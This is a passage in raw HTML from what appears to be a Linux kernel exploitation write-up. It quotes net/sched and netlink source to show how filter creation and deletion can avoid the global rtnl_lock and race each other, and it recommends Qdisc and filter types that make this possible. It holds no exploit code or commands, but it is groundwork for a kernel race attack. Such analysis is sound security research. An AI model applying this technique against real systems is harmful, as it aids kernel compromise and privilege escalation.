&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;			 struct&lt;/span&gt;&lt;span&gt; netlink_ext_ack &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;extack&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* ... */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; ((&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;nlmsg_type&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; !=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; RTM_GETACTION)&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; &amp;amp;&amp;amp;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	    !&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;netlink_capable&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;skb&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; CAP_NET_ADMIN&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		return&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;EPERM&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* ... */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/net/netlink/af_netlink.c#L882&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; netlink_capable&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span&gt; sk_buff &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;skb&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; int&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; cap&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	return&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; netlink_ns_capable&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;skb&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;, &amp;amp;&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;init_user_ns&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; cap&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Configuring actions through &lt;code&gt;RTM_NEWACTION&lt;/code&gt; and &lt;code&gt;RTM_DELACTION&lt;/code&gt; checks whether the user holds &lt;code&gt;CAP_NET_ADMIN&lt;/code&gt; in &lt;code&gt;init_user_ns&lt;/code&gt;.&lt;/p&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;This is a historical artifact: as user namespaces were developed, Qdisc configuration was gradually opened up to user namespaces, but the action configuration interfaces were missed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Actions can still be configured indirectly through &lt;code&gt;RTM_NEWTFILTER&lt;/code&gt; and &lt;code&gt;RTM_DELTFILTER&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;rtnl-lock&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#rtnl-lock&quot; aria-label=&quot;Anchor link for: rtnl-lock&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
rtnl_lock()&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;rtnl_lock()&lt;/code&gt; takes the global rtnetlink mutex. If &lt;code&gt;RTM_NEWTFILTER&lt;/code&gt; and &lt;code&gt;RTM_DELTFILTER&lt;/code&gt; acquire this lock, the two operations get serialized and cannot race.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/net/sched/cls_api.c#L2309&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;static&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; int&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; tc_new_tfilter&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; sk_buff &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;skb&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span&gt; nlmsghdr &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;			  struct&lt;/span&gt;&lt;span&gt; netlink_ext_ack &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;extack&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* ... */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;    bool&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; rtnl_held &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; false&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* ... */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* Take rtnl mutex if rtnl_held was set to true on previous iteration,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	 * block is shared (no qdisc found), qdisc is not unlocked, classifier&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	 * type is not specified, classifier is not unlocked.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (rtnl_held &lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;||&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	    (q &lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;&amp;amp;&amp;amp; !&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;q&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;ops&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;cl_ops&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;amp;&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; QDISC_CLASS_OPS_DOIT_UNLOCKED))&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; ||&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	    !&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;tcf_proto_is_unlocked&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;		rtnl_held &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; true&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;		rtnl_lock&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* ... */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/net/sched/cls_api.c#L352&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;static&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; bool&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; tcf_proto_is_unlocked&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; char&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; *&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;	const&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; tcf_proto_ops &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;ops&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	bool&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; ret&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; ==&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 0&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		return&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; false&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	ops &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; tcf_proto_lookup_ops&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; false&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; NULL&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* On error return false to take rtnl lock. Proto lookup/create&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	 * functions will perform lookup again and properly handle errors.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;IS_ERR&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;ops&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		return&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; false&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	ret &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; !!&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;ops&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;amp;&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; TCF_PROTO_OPS_DOIT_UNLOCKED)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;	module_put&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;ops&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;owner&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	return&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; ret&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bypassing &lt;code&gt;rtnl_lock()&lt;/code&gt; for the &lt;code&gt;RTM_NEWTFILTER&lt;/code&gt; operation requires all of the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;rtnl_held == false&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;struct Qdisc *q != NULL&lt;/code&gt; with &lt;code&gt;QDISC_CLASS_OPS_DOIT_UNLOCKED&lt;/code&gt; set in &lt;code&gt;q-&amp;gt;ops-&amp;gt;cl_ops-&amp;gt;flags&lt;/code&gt;, or &lt;code&gt;struct Qdisc *q == NULL&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The corresponding filter type has &lt;code&gt;TCF_PROTO_OPS_DOIT_UNLOCKED&lt;/code&gt; set.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/net/sched/cls_api.c#L2523&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;static&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; int&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; tc_del_tfilter&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; sk_buff &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;skb&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span&gt; nlmsghdr &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;			  struct&lt;/span&gt;&lt;span&gt; netlink_ext_ack &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;extack&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* ... */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* Take rtnl mutex if flushing whole chain, block is shared (no qdisc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	 * found), qdisc is not unlocked, classifier type is not specified,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	 * classifier is not unlocked.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;prio &lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;||&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	    (q &lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;&amp;amp;&amp;amp; !&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;q&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;ops&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;cl_ops&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;amp;&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; QDISC_CLASS_OPS_DOIT_UNLOCKED))&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; ||&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	    !&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;tcf_proto_is_unlocked&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;		rtnl_held &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; true&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;		rtnl_lock&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* ... */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bypassing &lt;code&gt;rtnl_lock()&lt;/code&gt; for the &lt;code&gt;RTM_DELTFILTER&lt;/code&gt; operation requires all of the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The filter &lt;code&gt;prio != 0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;struct Qdisc *q != NULL&lt;/code&gt; with &lt;code&gt;QDISC_CLASS_OPS_DOIT_UNLOCKED&lt;/code&gt; set in &lt;code&gt;q-&amp;gt;ops-&amp;gt;cl_ops-&amp;gt;flags&lt;/code&gt;, or &lt;code&gt;struct Qdisc *q == NULL&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The corresponding filter type has &lt;code&gt;TCF_PROTO_OPS_DOIT_UNLOCKED&lt;/code&gt; set.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To bypass &lt;code&gt;rtnl_lock()&lt;/code&gt;, pick a Qdisc type whose &lt;code&gt;cl_ops-&amp;gt;flags&lt;/code&gt; includes &lt;code&gt;QDISC_CLASS_OPS_DOIT_UNLOCKED&lt;/code&gt; and a filter type with &lt;code&gt;TCF_PROTO_OPS_DOIT_UNLOCKED&lt;/code&gt; set.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/net/sched/sch_ingress.c#L326&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;static const&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span&gt; Qdisc_class_ops clsact_class_ops &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.flags		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;	QDISC_CLASS_OPS_DOIT_UNLOCKED&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.leaf		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;	ingress_leaf&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.find		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;	clsact_find&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.walk		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;	ingress_walk&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.tcf_block	&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;	clsact_tcf_block&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
